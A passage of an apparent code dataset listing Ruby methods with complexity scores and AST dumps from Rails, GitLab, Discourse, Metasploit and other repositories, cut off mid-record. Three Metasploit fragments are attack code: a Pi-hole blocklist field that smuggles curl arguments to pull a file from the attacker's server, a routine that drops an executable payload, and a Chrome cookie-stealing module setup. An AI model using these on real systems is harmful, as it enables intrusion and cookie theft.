{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_helper.rb","start_line":1586,"raw_source":"def range_field(object_name, method, options = {})\n        Tags::RangeField.new(object_name, method, self, options).render\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"range_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_name\"]},{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tags\"]},\"RangeField\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"render\"]}]}","id":"da5c1e5a-1f48-405d-8f59-7b1226a781d3"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":3685,"raw_source":"def test_time_tag_with_date\n    date = Date.new(2013, 2, 20)\n    expected = '<time datetime=\"2013-02-20\">February 20, 2013</time>'\n    assert_equal expected, time_tag(date)\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_tag_with_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2013]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<time datetime=\\\"2013-02-20\\\">February 20, 2013</time>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"time_tag\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]}]}","id":"20d81ca3-3839-428d-80d3-f270397d2f49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db/analyze.rb","start_line":3,"raw_source":"def cmd_analyze_help\n    print_line \"Usage: analyze [OPTIONS] [addr1 addr2 ...]\"\n    print_line\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_analyze_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: analyze [OPTIONS] [addr1 addr2 ...]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"d5f80713-a7ba-4663-9336-79d7f7d8c04b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reviewable_action_builder.rb","start_line":260,"raw_source":"def target_post\n    @post ||=\n      if defined?(target) && target.is_a?(Post)\n        target\n      elsif defined?(target_id)\n        Post.with_deleted.find_by(id: target_id)\n      end\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"target_post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Post\"]}]}]},{\"type\":\"send\",\"children\":[null,\"target\"]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"with_deleted\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"target_id\"]}]}]}]},null]}]}]}]}","id":"1b0e9b1c-ee8c-43ac-9ec2-07da48a9f37e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pihole_blocklist_exec.rb","start_line":117,"raw_source":"def add_blocklist(file, token)\n    # according to the writeup, if you have a port, the colon gets messed up in the encoding.\n    # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets\n    # messed with.\n    data = {\n      'newuserlists' => %(http://#{datastore['SRVHOST']}#\" -o #{file} -d \"),\n      'field' => 'adlists',\n      'token' => token,\n      'submit' => 'saveupdate'\n    }\n\n    send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'vars_get' => {\n        'tab' => 'blocklists'\n      },\n      'data' => data.to_query\n    )\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_blocklist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"newuserlists\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"#\\\" -o \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" -d \\\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"field\"]},{\"type\":\"str\",\"children\":[\"adlists\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"submit\"]},{\"type\":\"str\",\"children\":[\"saveupdate\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"settings.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tab\"]},{\"type\":\"str\",\"children\":[\"blocklists\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_query\"]}]}]}]}]}]}","id":"11714b74-cb72-416e-9896-e9a376287904"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/su_login.rb","start_line":130,"raw_source":"def build_payload(contents, dir)\n    fail_with(Failure::NoAccess, \"directory '#{dir}' is on a noexec mount point\") if noexec?(dir)\n\n    filepath = \"#{dir}/#{Rex::Text.rand_text_alpha(8)}\"\n\n    write_file(filepath, contents)\n    chmod(filepath, 755)\n    register_files_for_cleanup(filepath)\n\n    return filepath\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]},{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noexec?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"directory '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"' is on a noexec mount point\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"filepath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"filepath\"]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"chmod\",{\"type\":\"lvar\",\"children\":[\"filepath\"]},{\"type\":\"int\",\"children\":[755]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"filepath\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filepath\"]}]}]}]}","id":"d65e39fe-8bd8-4671-a4b7-0400019f889c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/perf/gc/collect_gc_stats.rb","start_line":64,"raw_source":"def collect_stats(setting, value)\n  warn \"Testing #{setting} = #{value} ...\"\n  env = {\n    setting => value,\n    'RAILS_ROOT' => RAILS_ROOT,\n    'SETTING_CSV' => \"#{setting},#{value}\",\n    'GC_STAT_KEYS' => CSV_USED_GCSTAT_KEYS\n  }\n  system(env, 'ruby', \"#{SCRIPT_PATH}/print_gc_stats.rb\")\nend","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Testing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RAILS_ROOT\"]},{\"type\":\"const\",\"children\":[null,\"RAILS_ROOT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SETTING_CSV\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GC_STAT_KEYS\"]},{\"type\":\"const\",\"children\":[null,\"CSV_USED_GCSTAT_KEYS\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"str\",\"children\":[\"ruby\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCRIPT_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/print_gc_stats.rb\"]}]}]}]}]}","id":"3e31a72f-defa-4178-88e7-23c2c58bb323"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/chrome_cookies.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Chrome Gather Cookies',\n        'Description' => 'Read all cookies from the Default Chrome profile of the target user.',\n        'License' => MSF_LICENSE,\n        'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],\n        'Platform' => %w[linux unix bsd osx windows],\n        'SessionTypes' => %w[meterpreter shell],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('CHROME_BINARY_PATH', [false, \"The path to the user's Chrome binary (leave blank to use the default for the OS)\", '']),\n        OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\\\Local\\\\Temp)', '']),\n        OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])\n      ]\n    )\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Chrome Gather Cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Read all cookies from the Default Chrome profile of the target user.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mangopdf <mangodotpdf[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"bsd\"]},{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHROME_BINARY_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the user's Chrome binary (leave blank to use the default for the OS)\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WRITEABLE_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\\\Local\\\\Temp)\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"REMOTE_DEBUGGING_PORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Port on target machine to use for remote debugging protocol\"]},{\"type\":\"int\",\"children\":[9222]}]}]}]}]}]}]}","id":"0232da80-7f02-4a4b-b5a0-68df4addee8c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/recurring_meetings_controller.rb","start_line":42,"raw_source":"def show\n    if @direction == \"past\"\n      @meetings = @recurring_meeting.scheduled_instances(upcoming: false).limit(@count)\n    else\n      @meetings, @planned_meetings = upcoming_meetings(count: @count)\n    end\n\n    respond_to do |format|\n      format.html do\n        render :show, locals: { menu_name: project_or_global_menu }\n      end\n    end\n  end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@direction\"]},\"==\",{\"type\":\"str\",\"children\":[\"past\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@meetings\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recurring_meeting\"]},\"scheduled_instances\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upcoming\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"limit\",{\"type\":\"ivar\",\"children\":[\"@count\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meetings\"]},{\"type\":\"ivasgn\",\"children\":[\"@planned_meetings\"]}]},{\"type\":\"send\",\"children\":[null,\"upcoming_meetings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"ivar\",\"children\":[\"@count\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"menu_name\"]},{\"type\":\"send\",\"children\":[null,\"project_or_global_menu\"]}]}]}]}]}]}]}]}]}]}","id":"b1836d9d-ecd8-4806-842f-e5c71402a789"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/award_emojis/add_service.rb","start_line":28,"raw_source":"def after_create(award)\n      TodoService.new.new_award_emoji(todoable, current_user) if todoable\n\n      execute_hooks(award, 'award')\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"award\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"todoable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TodoService\"]},\"new\"]},\"new_award_emoji\",{\"type\":\"send\",\"children\":[null,\"todoable\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"award\"]},{\"type\":\"str\",\"children\":[\"award\"]}]}]}]}","id":"f8761474-25ad-4847-bf8e-ef4e73478a93"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/users_controller.rb","start_line":82,"raw_source":"def user_params\n        params.require(:user).permit(permitted_user_attributes | [spree_role_ids: []])\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"permit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_user_attributes\"]},\"|\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spree_role_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}","id":"6fea1e32-72b6-40b0-8934-219f32b34f06"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_cop_disable_directive.rb","start_line":92,"raw_source":"def directive_range_in_list(range, ranges)\n          # Is there any cop between this one and the end of the line, which\n          # is NOT being removed?\n          if ends_its_line?(ranges.last) && trailing_range?(ranges, range)\n            # Eat the comma on the left.\n            range = range_with_surrounding_space(range, side: :left)\n            range = range_with_surrounding_comma(range, :left)\n          end\n\n          range = range_with_surrounding_comma(range, :right)\n          # Eat following spaces up to EOL, but not the newline itself.\n          range_with_surrounding_space(range, side: :right, newlines: false)\n        end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"directive_range_in_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"arg\",\"children\":[\"ranges\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ends_its_line?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"trailing_range?\",{\"type\":\"lvar\",\"children\":[\"ranges\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_comma\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_comma\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]}]},{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"newlines\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"ae70a861-4dc6-4c7d-b9ea-bdbef7a7552b"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/app_screenshot.rb","start_line":140,"raw_source":"def formatted_name\n      matching = {\n        ScreenSize::IOS_35 => \"iPhone 4\",\n        ScreenSize::IOS_40 => \"iPhone 5\",\n        ScreenSize::IOS_47 => \"iPhone 6\", # also 7 & 8\n        ScreenSize::IOS_55 => \"iPhone 6 Plus\", # also 7 Plus & 8 Plus\n        ScreenSize::IOS_58 => \"iPhone XS\",\n        ScreenSize::IOS_61 => \"iPhone 14 Pro\",\n        ScreenSize::IOS_65 => \"iPhone XS Max\",\n        ScreenSize::IOS_67 => \"iPhone 14 Pro Max\",\n        ScreenSize::IOS_IPAD => \"iPad\",\n        ScreenSize::IOS_IPAD_10_5 => \"iPad 10.5\",\n        ScreenSize::IOS_IPAD_11 => \"iPad 11\",\n        ScreenSize::IOS_IPAD_PRO => \"iPad Pro\",\n        ScreenSize::IOS_IPAD_PRO_12_9 => \"iPad Pro (12.9-inch) (3rd generation)\",\n        ScreenSize::IOS_40_MESSAGES => \"iPhone 5 (iMessage)\",\n        ScreenSize::IOS_47_MESSAGES => \"iPhone 6 (iMessage)\", # also 7 & 8\n        ScreenSize::IOS_55_MESSAGES => \"iPhone 6 Plus (iMessage)\", # also 7 Plus & 8 Plus\n        ScreenSize::IOS_58_MESSAGES => \"iPhone XS (iMessage)\",\n        ScreenSize::IOS_61_MESSAGES => \"iPhone 14 Pro (iMessage)\",\n        ScreenSize::IOS_65_MESSAGES => \"iPhone XS Max (iMessage)\",\n        ScreenSize::IOS_67_MESSAGES => \"iPhone 14 Pro Max (iMessage)\",\n        ScreenSize::IOS_IPAD_MESSAGES => \"iPad (iMessage)\",\n        ScreenSize::IOS_IPAD_PRO_MESSAGES => \"iPad Pro (iMessage)\",\n        ScreenSize::IOS_IPAD_PRO_12_9_MESSAGES => \"iPad Pro (12.9-inch) (3rd generation) (iMessage)\",\n        ScreenSize::IOS_IPAD_10_5_MESSAGES => \"iPad 10.5 (iMessage)\",\n        ScreenSize::IOS_IPAD_11_MESSAGES => \"iPad 11 (iMessage)\",\n        ScreenSize::MAC => \"Mac\",\n        ScreenSize::IOS_APPLE_WATCH => \"Watch\",\n        ScreenSize::IOS_APPLE_WATCH_SERIES4 => \"Watch Series4\",\n        ScreenSize::IOS_APPLE_WATCH_SERIES7 => \"Watch Series7\",\n        ScreenSize::IOS_APPLE_WATCH_ULTRA => \"Watch Ultra\",\n        ScreenSize::APPLE_TV => \"Apple TV\"\n      }\n      return matching[self.screen_size]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matching\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_35\"]},{\"type\":\"str\",\"children\":[\"iPhone 4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_40\"]},{\"type\":\"str\",\"children\":[\"iPhone 5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_47\"]},{\"type\":\"str\",\"children\":[\"iPhone 6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_55\"]},{\"type\":\"str\",\"children\":[\"iPhone 6 Plus\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_58\"]},{\"type\":\"str\",\"children\":[\"iPhone XS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_61\"]},{\"type\":\"str\",\"children\":[\"iPhone 14 Pro\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_65\"]},{\"type\":\"str\",\"children\":[\"iPhone XS Max\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_67\"]},{\"type\":\"str\",\"children\":[\"iPhone 14 Pro Max\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD\"]},{\"type\":\"str\",\"children\":[\"iPad\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScreenSize\"]},\"IOS_IPAD_10_5\"]},{\"type\":\"str\",\"children\":[\"iPad 